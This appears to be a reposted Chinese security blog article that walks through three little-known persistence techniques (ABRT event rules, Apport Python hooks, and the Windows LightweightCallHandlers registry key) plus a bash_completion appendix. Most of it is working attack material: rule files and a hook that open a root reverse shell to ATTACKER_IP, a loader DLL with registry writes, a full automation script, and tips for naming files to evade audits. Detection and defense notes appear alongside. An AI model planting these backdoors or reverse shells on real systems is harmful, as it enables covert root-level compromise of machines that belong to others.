文章总结: 本文探讨了三种不常见的持久化技术,包括ABRT事件劫持、ApportHook劫持和LCH回调劫持,并详细介绍了它们的工作原理、复现步骤和攻防要点。 综合评分: 85 文章分类: 渗透测试,漏洞分析,代码审计,应急响应,安全工具
三种鲜为人知的持久化技术剖析
原创
博大爷 博大爷
huasec
2026年9月30日 08:57 新加坡
在小说阅读器读本章
去阅读
在公众号小说中沉浸阅读
一、 概述
利用周末时间,出于对攻防的一些新思考与个人兴趣,我系统性地梳理了一批持久化方式。研究过程中发现的方法其实不少,但绝大多数经检索都已被公开,只是使用频率低、知名度不高而已。
本文最终筛选出三个较少被公开讨论的持久化点(经多轮检索,应属首次系统整理公开)。之所以措辞谨慎,正是因为”公开”与”少见”之间界限模糊——文末附录中的 bash_completion 持久化,就是一个我独立发现、但事后检索发现已被公开、只是极少被使用的例子。
三个目标概览如下:
| | | | | | | — | — | — | — | — | | 名称 | 系统 | 持久化载体 | 触发机制 | ATT&CK | | ABRT 事件劫持 | CentOS / RHEL | /etc/libreport/events.d/*.conf | abrtd 处理崩溃 → root 执行 Shell | T1546 | | Apport Hook 劫持 | Ubuntu / Debian | /usr/share/apport/general-hooks/*.py | Apport 处理崩溃报告 → root 执行 Python | T1546 | | LCH 回调劫持 | Windows 10/11/Server | HKLM…\LightweightCallHandlers\PNIDUI\Startup | Explorer 启动 → 加载指定 DLL | T1547 |
三者共性:均需 root / 管理员权限写入,属权限维持(Persistence)范畴,共同寄生于系统的”正常善后流程”之中,审计时极易被忽略。
实用性排序(个人研究结论):
LCH 回调劫持(Windows) > ABRT 事件劫持(CentOS) > Apport Hook 劫持(Ubuntu)触发稳定、每次登录 依赖进程崩溃 依赖崩溃报告被处理
其中 Apport 单独使用触发条件较苛刻,但很适合作为多重持久化组合中的二级备份存在。三者隐蔽性均属上乘。
二、 ABRT 事件劫持(CentOS / RHEL)
2.1 技术原理
在 CentOS / RHEL / Fedora 中,ABRT(Automatic Bug Reporting Tool)负责捕获进程崩溃并生成崩溃报告。其核心是守护进程 abrtd 与配套的 libreport 事件框架。
当一个 C/C++ 程序崩溃时,完整链路如下:
① 进程崩溃 (SIGSEGV/SIGABRT...)│▼② 内核 core_pattern 管道触发 abrt-hook-ccpp│ (/proc/sys/kernel/core_pattern → |/usr/libexec/abrt-hook-ccpp ...)▼③ 在 /var/spool/abrt/ 下创建 problem directory│▼④ abrtd 监听到新目录,触发 post-create 事件│▼⑤ libreport 按事件名匹配 /etc/libreport/events.d/*.conf│▼⑥ 【以 root 身份】执行规则中的 Shell 命令 ← 劫持点
规则文件格式:
EVENT=post-create analyzer=CCpp #缩进行即为 Shell 命令,由 abrtd 以 root 身份执行 /path/to/payload
规则语法要点:
- 每段规则以 EVENT=<事件名> [过滤条件] 开头,条件用于精确匹配(如 analyzer=CCpp);
- 紧随其后的缩进行为 Shell 命令,由 abrtd 以 root 权限执行;
- 常见事件:post-create(问题目录创建后立即触发,最通用)、analyze_LocalGDB、report-cli、notify 等。
为何隐蔽?events.d/ 目录本就用于存放各类崩溃处理钩子,正常系统中已有多个 .conf 文件(如 ccpp_event.conf、gconf_event.conf)。恶意规则混入其中,与”崩溃善后”这一合法行为高度融合,极难被人工审计发现。
2.2 复现条件
| | | | — | — | | 条件 | 说明 | | 权限 | 已取得 root | | 依赖包 | abrt 与 libreport(CentOS 默认安装) | | 服务状态 | abrtd.service 处于 active 且 enabled |
2.3 复现步骤
Step 1 — 写入劫持规则
cat > /etc/libreport/events.d/backdoor.conf <<'EOF'EVENT=post-create analyzer=CCpp #反弹 shell 或执行任意命令(以 root 身份) bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1 &EOFchmod 644 /etc/libreport/events.d/backdoor.conf
post-create 是最通用的事件——任何 CCpp 类型崩溃都会触发。若追求更强隐蔽性,可绑定 analyze_LocalGDB 等更窄的事件,缩小触发面。
Step 2 — 诱导进程崩溃
#启动一个无害后台进程,发送 SIGSEGV 使其崩溃sleep 100 & PID=$!sleep 0.2kill -SEGV $PID
Step 3 — abrtd 自动接管
abrtd 检测到 /var/spool/abrt/ 下的新 problem directory,匹配 post-create 事件并以 root 执行规则命令,整个过程约 2–3 秒。
验证:
ls -ld /var/spool/abrt/ccpp-* | tail -1# drwxr-x---. 2 root abrt 4096 Jul 17 20:40 /var/spool/abrt/ccpp-2026-07-17-20:40:41-2317
2.4 一键复现脚本(非破坏性验证)
不想等待真实崩溃时,可主动触发事件处理链:
# 1. 写入测试规则cat > /etc/libreport/events.d/ph_test.conf <<'EOF'EVENT=post-create analyzer=CCppecho "persistence verified" > /tmp/events_d_pocEOF
# 2. 诱导崩溃sleep 1 & PID=$! && sleep 0.2 && kill -SEGV $PID
#3. 等待 2-3 秒后检查sleep 3cat /tmp/events_d_poc #预期输出:persistence verified
#4. 清理现场rm -f /etc/libreport/events.d/ph_test.conf /tmp/events_d_poc
2.5 攻防要点
| | | | — | — | | 视角 | 要点 | | 🔴 服务依赖 | 若 abrtd 未运行,systemctl start abrtd 即可拉起 | | 🔴 触发选择 | 真实场景可等待目标应用自然崩溃,或对低优先级进程发 SIGSEGV;严禁操作系统关键进程 | | 🔴 隐蔽伪装 | 规则文件命名可模仿 ccpp_event.conf 风格,混入既有配置 | | 🔵 检测 | 排查 events.d/ 下非 RPM 包属文件:rpm -Vf /etc/libreport/events.d/*.conf 2>&1 | grep “no package” | | 🔵 防御 | 将 /etc/libreport/events.d/ 纳入文件完整性监控(AIDE / Tripwire)基线 |
三、 Apport Hook 劫持(Ubuntu / Debian)
3.1 技术原理
apport 是 Ubuntu 默认的崩溃报告系统。它同样通过内核 core_pattern 接管崩溃,但其扩展点是一组Python 钩子模块。
当 apport 处理崩溃报告时,会加载 /usr/share/apport/general-hooks/ 下的所有 .py 文件,并调用每个模块中的 add_info(report, ui) 函数——这些钩子以 root 身份运行。
核心调用链:
① 程序崩溃│ core_pattern → |/usr/share/apport/apport %p %s %c ...▼② apport 收集信息,写入 /var/crash/*.crash│▼③ 报告被处理(apport-cli / ubuntu-bug / whoopsie 自动上传)│ 触发 Report.add_hooks_info()▼④ 遍历 /usr/share/apport/general-hooks/*.py│▼⑤ 对每个模块调用 add_info(report, ui) ← 【以 root 身份】劫持点
关键差异: 与 ABRT 的”崩溃即触发”不同,Apport 钩子在报告被进一步处理时才执行(见 2.5)。这既是它的局限,也是它作为二级持久化的价值所在。
3.2 复现条件
| | | | — | — | | 条件 | 说明 | | 权限 | 已取得 root | | 依赖包 | apport(Ubuntu 默认安装) | | 服务状态 | apport.service 处于 active |
3.3 复现步骤
Step 1 — 写入恶意 Hook
# /usr/share/apport/general-hooks/backdoor.pyimport osimport subprocess
def add_info(report, ui): # 反弹 shell 或执行任意命令(以 root 身份) subprocess.Popen( ["/bin/bash", "-c", "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1 &"], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL )
chmod 644 /usr/share/apport/general-hooks/backdoor.py
关键约束: 函数名必须为 add_info(report, ui) 且接受两个参数,否则不会被调用。文件名可伪装为 generic_helper.py、parse_segv.py 等,混入既有钩子。
Step 2 — 触发 Hook 执行(非破坏性)
python3 - <<'PYEOF'from apport.report import Reportr = Report()r.add_hooks_info(None)print("hooks executed")PYEOF
此法无需真实诱导崩溃,直接调用 add_hooks_info() 即可触发所有钩子。真实场景中,任意程序崩溃并被处理都会自动触发。
验证:在钩子中写入标记文件即可确认执行:
def add_info(report, ui): with open("/tmp/apport_poc", "w") as f: f.write("apport hook executed\n")
3.4 一键复现脚本
# 1. 写入测试 hookcat > /usr/share/apport/general-hooks/ph_test.py <<'EOF'def add_info(report, ui): with open("/tmp/apport_poc", "w") as f: f.write("apport hook executed\n")EOF
# 2. 触发python3 -c "from apport.report import Report; Report().add_hooks_info(None)"
# 3. 验证cat /tmp/apport_poc # 预期输出:apport hook executed
# 4. 清理现场rm -f /usr/share/apport/general-hooks/ph_test.py /tmp/apport_poc
3.5 攻防要点
| | | | — | — | | 视角 | 要点 | | 🔴 触发时机 | 钩子不在崩溃瞬间执行,而是在报告被处理时(apport-cli / 桌面 whoopsie 自动上传)。无桌面服务器需用户主动处理崩溃报告 | | 🔴 隐蔽伪装 | 命名可模仿 generic.py、parse_segv.py 等,融入正常钩子集 | | 🔴 兼容性 | 仅 Debian / Ubuntu 系特有;CentOS 使用不同机制(见 0x01) | | 🔵 检测 | 排查 general-hooks/ 下非包属.py:dpkg -S /usr/share/apport/general-hooks/*.py 2>&1 | grep “no path found” | | 🔵 防御 | 将 /usr/share/apport/general-hooks/ 纳入 FIM 基线;服务器环境可考虑禁用 apport |
四、 LCH 回调劫持(Windows 10 / 11 / Server)
4.1 技术原理
Windows 中,explorer.exe 启动时会加载 pnidui.dll(Network Connections / 网络状态 UI 模块)。pnidui.dll 会读取注册表项:
HKLM\SYSTEM\CurrentControlSet\Control\Network\LightweightCallHandlers\PNIDUI\Startup
对该键下的每一个子键,执行如下加载流程:
读取子键│▼LoadLibrary(DllName) ← 加载指定 DLL│▼GetProcAddress(FunctionEntryName) ← 定位导出函数│▼调用导出函数
亦可通过 ExeName 值直接启动可执行文件。
为何这是一个优质持久化点?
| | | | — | — | | 特点 | 说明 | | 无需 COM 注册 | 不依赖 CLSID / InprocServer32,直接写子键 + DllName + FunctionEntryName 即可 | | ACL 宽松 | 该注册表项对 BUILTIN\Administrators 授予 FullControl,不受 TrustedInstaller 保护 | | 执行早 | DLL 的 DllMain 在 DLL_PROCESS_ATTACH 阶段即执行,即使导出函数调用失败也不受影响 | | 触发稳 | 每次 Explorer 启动(即每次交互式登录)必然触发 |
相较于人尽皆知、被 EDR 重点盯防的 HKLM…\Run,LightweightCallHandlers 冷门得多,检出率天然更低。
4.2 复现条件
| | | | — | — | | 条件 | 说明 | | 权限 | 管理员(BUILTIN\Administrators 或 Network Configuration Operators) | | 系统 | Windows 10 / 11 / Server 2016+ |
4.3 复现步骤
Step 1 — 编写测试 DLL(C 语言)
// test_lch.c#include <windows.h>#include <stdio.h>#include <time.h>
// 导出函数:pnidui.dll 会通过 GetProcAddress 查找__declspec(dllexport) void __stdcall LchTestExport(void){ return;}
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved){ wchar_t path[MAX_PATH]; FILE *fp;
if (ul_reason_for_call == DLL_PROCESS_ATTACH) { // Payload 置于 DllMain:此处以写入标记文件为例 GetModuleFileNameW(NULL, path, MAX_PATH); fp = fopen("C:\\Temp\\lch_poc_loaded.txt", "a"); if (fp) { fprintf(fp, "DLL loaded by: %ls @ %lld\n", path, (long long)time(NULL)); fclose(fp); } } return TRUE;}
Step 2 — 编译
gcc.exe -shared -o test_lch.dll test_lch.c
Step 3 — 放置 DLL 并写入注册表
# 复制 DLL 到 System32(或任意可访问路径)Copy-Item .\test_lch.dll C:\Windows\System32\test_lch_poc.dll
# 创建注册表项(需管理员权限)$path = "HKLM:\SYSTEM\CurrentControlSet\Control\Network\LightweightCallHandlers\PNIDUI\Startup\POC_Startup"New-Item -Path $path -Force | Out-NullSet-ItemProperty -Path $path -Name "DllName" -Value "C:\Windows\System32\test_lch_poc.dll"Set-ItemProperty -Path $path -Name "FunctionEntryName" -Value "LchTestExport"Set-ItemProperty -Path $path -Name "Cardinality" -Value 1 -Type DWord
Step 4 — 重启 Explorer 触发
Stop-Process -Name explorer -ForceStart-Sleep -Seconds 5Start-Process -FilePath "explorer.exe" -WorkingDirectory "C:\Windows"
4.4 Python 一键复现脚本
# auto_poc.py —— 编译 + 注册表 + 触发 + 验证 + 清理 全流程自动化import os, sys, time, shutil, subprocess, winreg, ctypes
PROJECT_DIR = r"C:\Temp\test"DLL_TARGET = os.path.join(r"C:\Windows\System32", "test_lch_poc.dll")EVIDENCE = os.path.join(PROJECT_DIR, "lch_poc_loaded.txt")REG_PATH = r"SYSTEM\CurrentControlSet\Control\Network\LightweightCallHandlers\PNIDUI\Startup\POC_Startup"
def is_admin(): return ctypes.windll.shell32.IsUserAnAdmin()
# 1. 编译gcc = shutil.which("gcc")subprocess.run([gcc, "-shared", "-o", os.path.join(PROJECT_DIR, "test_lch.dll"), os.path.join(PROJECT_DIR, "test_lch.c")], check=True)
# 2. 放置 DLLshutil.copy2(os.path.join(PROJECT_DIR, "test_lch.dll"), DLL_TARGET)
# 3. 写入注册表key = winreg.CreateKeyEx(winreg.HKEY_LOCAL_MACHINE, REG_PATH, 0, winreg.KEY_WRITE)winreg.SetValueEx(key, "DllName", 0, winreg.REG_SZ, DLL_TARGET)winreg.SetValueEx(key, "FunctionEntryName", 0, winreg.REG_SZ, "LchTestExport")winreg.SetValueEx(key, "Cardinality", 0, winreg.REG_DWORD, 1)winreg.CloseKey(key)
# 4. 重启 Explorerif os.path.exists(EVIDENCE): os.remove(EVIDENCE)subprocess.run(["powershell", "-Command", "Stop-Process -Name explorer -Force; Start-Sleep 5; Start-Process explorer"], check=True)
# 5. 验证time.sleep(10)if os.path.exists(EVIDENCE): with open(EVIDENCE) as f: print(f.read())else: print("timeout, check registry entry and DLL path manually")
# 6. 清理winreg.DeleteKey(winreg.HKEY_LOCAL_MACHINE, REG_PATH)# 注意:DLL 可能被 explorer.exe 占用,需再次重启 explorer 后手动删除
4.5 攻防要点
| | | | — | — | | 视角 | 要点 | | 🔴 无 TI 保护 | 区别于 HKLM…\Run,该键直接对 Administrators 开放全部权限 | | 🔴 DLL 占用 | explorer.exe 加载后不会立即释放 DLL,清理时需再重启一次 Explorer | | 🔴 触发稳定 | PNIDUI\Startup 在每次 Explorer 启动时触发,稳定可靠 | | 🔴 函数签名 | 导出函数须保持简单(void __stdcall func(void)),避免签名不匹配导致 Explorer 崩溃 | | 🔵 检测 | 监控 LightweightCallHandlers 下新增子键,或指向非系统路径的 DllName / ExeName | | 🔵 防御 | 将该注册表路径纳入 Sysmon(Event ID 12/13/14)注册表变更审计规则 |
五、 横向对比:共性与差异
| | | | | | — | — | — | — | | 维度 | ① ABRT 事件劫持 | ② Apport Hook 劫持 | ③ LCH 回调劫持 | | 实战价值 | 中 | 低 | 高 | | 平台 | CentOS / RHEL | Ubuntu / Debian | Windows | | 触发事件 | 进程崩溃 | 崩溃报告处理 | Explorer 启动 | | 执行身份 | root | root | 当前用户 | | Payload 形式 | Shell | Python | 原生 DLL | | 写入权限 | root | root | Administrator | | 触发稳定性 | 中(依赖崩溃) | 中(依赖报告处理) | 高(每次登录) | | 系统级保护 | 无 | 无 | 无(ACL 宽松) | | 隐蔽性 | 高 | 高 | 高 | | ATT&CK | T1546 | T1546 | T1547 |
共性风险:三者都寄生于系统的”正常善后流程”(崩溃处理、UI 加载)中,与合法行为高度融合,常规审计极易遗漏。
防御侧总纲:
-
将三条路径纳入文件完整性监控(FIM)与注册表变更审计基线;
-
对崩溃处理组件(ABRT / Apport)的配置目录建立包属校验(RPM / dpkg);
-
Windows 侧用Sysmon覆盖 LightweightCallHandlers 注册表写入事件;
-
建立”非常规自启动点”清单,定期比对。
附录:利用 bash_completion 持久化
这是我独立发现、后经检索发现已被公开但极少被使用的一个 Linux 持久化点,作为延伸阅读附上。原理是 bash 在交互式启动时会自动加载 /etc/bash_completion.d/ 下的补全脚本。
Step 1 — 准备测试程序(模拟木马)
// gcc -g -o test test.c#include <stdio.h>#include <unistd.h>
int main() { char message[] = "Hello bash completion!!"; printf("%s\nPID: %d\n", message, getpid()); while(1) sleep(5); return 0;}
Step 2 — 在/etc/bash_completion.d/下创建补全脚本
文件名任意,此处用 bash_completion_test:
touch /etc/bash_completion.d/bash_completion_test
内容:
if [[ -e /tmp/bash_completion.sh ]]; then. /tmp/bash_completion.shfi
Step 3 — 编写被加载的执行脚本
touch /tmp/bash_completion.sh
内容:
/tmp/test
Step 4 — 效果验证
此时新开一个 bash,即可看到输出:
Hello bash completion!!PID: 23803
演示中程序为前台运行,故新 bash 窗口会阻塞(便于观察)。真实场景改为后台即可——将 /tmp/bash_completion.sh 中的命令改为 /tmp/test &。
写在最后
攻防本是一体两面。公开这些持久化点,不是为了教人作恶,而是希望蓝队能据此补齐检测盲区——你不知道的攻击面,永远无法防御。
如果本文对你有帮助,欢迎点赞、在看、转发。
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:huasec 博大爷 博大爷《三种鲜为人知的持久化技术剖析》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。








评论